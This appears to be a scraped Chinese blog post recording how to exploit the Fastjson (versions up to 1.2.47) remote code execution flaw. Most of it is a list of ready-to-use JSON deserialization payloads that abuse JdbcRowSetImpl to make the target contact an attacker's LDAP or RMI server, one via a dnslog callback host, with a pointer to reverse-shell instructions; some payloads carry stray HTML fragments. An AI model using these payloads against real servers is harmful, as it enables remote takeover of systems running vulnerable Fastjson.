fastjson rce 利用记录
程序员文章站
2022-07-02 09:19:23
Fastjson "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" "@type": "com.sun.rowset.JdbcRowSetImpl", br / }, "b": { "@type": " ......
fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法记录
poc
rmi://
、ldap://
可以切换尝试。
param={ "@type": "java.lang.class", br / > "a": { "@type": "java.lang.class", "val": "com.sun.rowset.jdbcrowsetimpl" "@type": "com.sun.rowset.jdbcrowsetimpl", br / > }, "b": { "@type": "com.sun.rowset.jdbcrowsetimpl", "datasourcename": "ldap://your ip/", "autocommit": true } } param={ "b":{ "@type":"com.sun.rowset.jdbcrowsetimpl", "datasourcename":"rmi://your ip/", "autocommit":true } } param={"orderno":"b200414195915053000","partnerorderno":"dc200414593341","x":{"@type":"com.sun.rowset.jdbcrowsetimpl","datasourcename":"ldap://your ip/","autocommit":true}} param={"name":{"@type":"java.lang.class","val":"com.sun.rowset.jdbcrowsetimpl"},"x":{"@type":"com.sun.rowset.jdbcrowsetimpl","datasourcename":"ldap://your ip/","autocommit":true}}} param={"@type":"com.sun.rowset.jdbcrowsetimpl","datasourcename":"rmi://9jo6zi.dnslog.cn","autocommit":true} param={"@type":"com.sun.rowset.jdbcrowsetimpl","datasourcename":"rmi://your ip/","autocommit":true}
如果监听服务器有流量,可以继续下一步,可以使用dnslog。
参考
反弹shell
https://blog.csdn.net/jiajiajiang_/article/details/103255659
复现pyload
靶场
教程
上一篇: 初始WebApi(1)
推荐阅读
-
phpstudy后门rce批量利用脚本的实现
-
利用GreenBrowser浏览器自身功能删除地址栏网站记录
-
如何利用360浏览器清除IE浏览记录
-
利用spring AOP记录用户操作日志的方法示例
-
利用ROW_NUMBER() OVER函数给SQL数据库中每一条记录分配行号的方法
-
SQL Server利用sp_spaceused如何查看表记录存在不准确的情况
-
Asp.net MVC利用knockoutjs实现登陆并记录用户的内外网IP及所在城市(推荐)
-
Vue利用History记录上一页面的数据方法实例
-
利用扩展符排序合并数组,记录下来分享给大家
-
利用Jekyll-Bootstrap搭建github blog 简单记录